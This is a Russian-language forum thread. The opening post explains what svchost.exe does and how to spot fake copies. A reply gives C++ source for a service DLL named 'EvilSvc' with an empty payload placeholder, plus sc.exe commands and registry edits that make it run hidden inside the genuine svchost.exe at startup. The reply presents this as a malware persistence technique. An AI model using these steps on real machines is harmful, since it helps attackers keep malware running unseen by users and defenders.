Информация Что-же это такое svchost.exe и зачем он нужен ?


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 177
Репутация
8 313
1729262205237.png


Что такое svchost.exe?

svchost.exe (от англ. Service Host — "Хост служб")
- это системный процесс в операционной системе Windows, который используется для хостинга и управления динамическими библиотеками (DLL), содержащими системные службы.

Поскольку многие службы Windows реализованы как DLL, svchost.exe позволяет им работать внутри общего процесса, что повышает эффективность использования системных ресурсов.

Зачем он нужен?

Эффективность ресурсов: Группируя несколько служб в одном процессе, система снижает нагрузку на оперативную память и процессор.
Упрощение управления: Позволяет легче управлять службами, обновлять и отлаживать их без необходимости изменять код ядра системы.
Стабильность системы: Разделение служб по разным процессам svchost.exe обеспечивает, что сбой одной службы не повлияет на работу других.

Как это работает?


Группировка служб: Службы Windows, реализованные в виде DLL, группируются по функциональному признаку (например, сетевые службы, аудио и т.д.).
Запуск процессов: При запуске системы Windows создает отдельные экземпляры svchost.exe для каждой группы служб.
Управление службами: Каждый процесс svchost.exe управляет определенным набором служб, обеспечивая их запуск, остановку и взаимодействие с системой.

Почему запущено несколько процессов svchost.exe?

Разделение задач: Каждая группа служб требует отдельного процесса для обеспечения безопасности и стабильности.
Изоляция: Если одна служба сталкивается с ошибкой, это не влияет на другие службы в других процессах svchost.exe.
Повышение производительности: Разделение позволяет оптимизировать использование ресурсов и улучшить общую производительность системы.

Как узнать, какие службы связаны с каждым svchost.exe?

Использование Диспетчера задач:
Откройте Диспетчер задач (Ctrl + Shift + Esc).
Перейдите на вкладку "Подробности" (Windows 8 и выше).
Найдите процесс svchost.exe, щелкните по нему правой кнопкой мыши и выберите "Перейти к службам".
Службы, связанные с этим процессом, будут выделены на вкладке "Службы".

Командная строка:
Выполните команду tasklist /svc /fi "imagename eq svchost.exe" в командной строке для отображения списка служб, запущенных каждым процессом svchost.exe.

Важность svchost.exe для системы

Критический компонент: Удаление или модификация svchost.exe может привести к нестабильности системы или невозможности ее запуска.
Обеспечение функциональности: Многие основные функции Windows зависят от служб, работающих через svchost.exe.

Потенциальные проблемы и безопасность

Маскировка вредоносных программ: Некоторые вредоносные программы могут маскироваться под svchost.exe, используя похожие имена файлов или размещаясь в неправильных каталогах.
Как отличить поддельный svchost.exe:
Расположение файла: Оригинальный svchost.exe находится в папке C:\Windows\System32.
Цифровая подпись: Проверьте цифровую подпись файла через свойства.
Антивирусная проверка: Регулярно сканируйте систему антивирусным программным обеспечением.

Заключение

svchost.exe является неотъемлемой частью операционной системы Windows, обеспечивая эффективное управление и выполнение множества системных служб. Понимание его работы помогает в диагностике системы, управлении ресурсами и обеспечении безопасности компьютера.
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
294
Репутация
173
svchost.exe в несистемном каталоге - уже редкость, современная малварь стала действовать куда хитрее. Svchost, как ранее упоминалось, это некий контейнер, который отрабатывает службу из DLL-библиотеки. Так почему бы не подгрузить свою DLL? Напишем тестовый код:
EvilDll:
#include "pch.h"
#define SVCNAME TEXT("EvilSvc")

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle;
HANDLE stopEvent = NULL;

VOID UpdateServiceStatus(DWORD currentState)
{
    serviceStatus.dwCurrentState = currentState;
    SetServiceStatus(serviceStatusHandle, &serviceStatus);
}

DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context)
{
    switch (controlCode)
    {
        case SERVICE_CONTROL_STOP:
            serviceStatus.dwCurrentState = SERVICE_STOPPED;
            SetEvent(stopEvent);
            break;
        case SERVICE_CONTROL_SHUTDOWN:
            serviceStatus.dwCurrentState = SERVICE_STOPPED;
            SetEvent(stopEvent);
            break;
        case SERVICE_CONTROL_PAUSE:
            serviceStatus.dwCurrentState = SERVICE_PAUSED;
            break;
        case SERVICE_CONTROL_CONTINUE:
            serviceStatus.dwCurrentState = SERVICE_RUNNING;
            break;
        case SERVICE_CONTROL_INTERROGATE:
            break;
        default:
            break;
    }

    UpdateServiceStatus(SERVICE_RUNNING);

    return NO_ERROR;
}

VOID ExecuteServiceCode()
{
    stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    UpdateServiceStatus(SERVICE_RUNNING);

    // #####################################
    // Как-то код
    // #####################################

    while (1)
    {
        WaitForSingleObject(stopEvent, INFINITE);
        UpdateServiceStatus(SERVICE_STOPPED);
        return;
    }
}

extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV)
{
    serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER_FUNCTION)ServiceHandler);

    serviceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
    serviceStatus.dwServiceSpecificExitCode = 0;

    UpdateServiceStatus(SERVICE_START_PENDING);
    ExecuteServiceCode();
}

1. Скомпилируем как EvilSvc.dll
2. Создадим службу
Код:
sc.exe create EvilSvc binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
3. Изменим ключ ServiceDLL в
Код:
HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\
на путь нашей тестовой сборки
4. И наконец в разделе самого svchost
Код:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
добавим группу EvilSvc в параметре DcomLaunch
5. Запускаем сужбу так
Код:
sc.exe start EvilSvc

И как видим сборка успешна отрабатывает в контексте реального svchost.exe
1729264684302.png


Подробнее почитать тут:
 
Последнее редактирование:
Верх Низ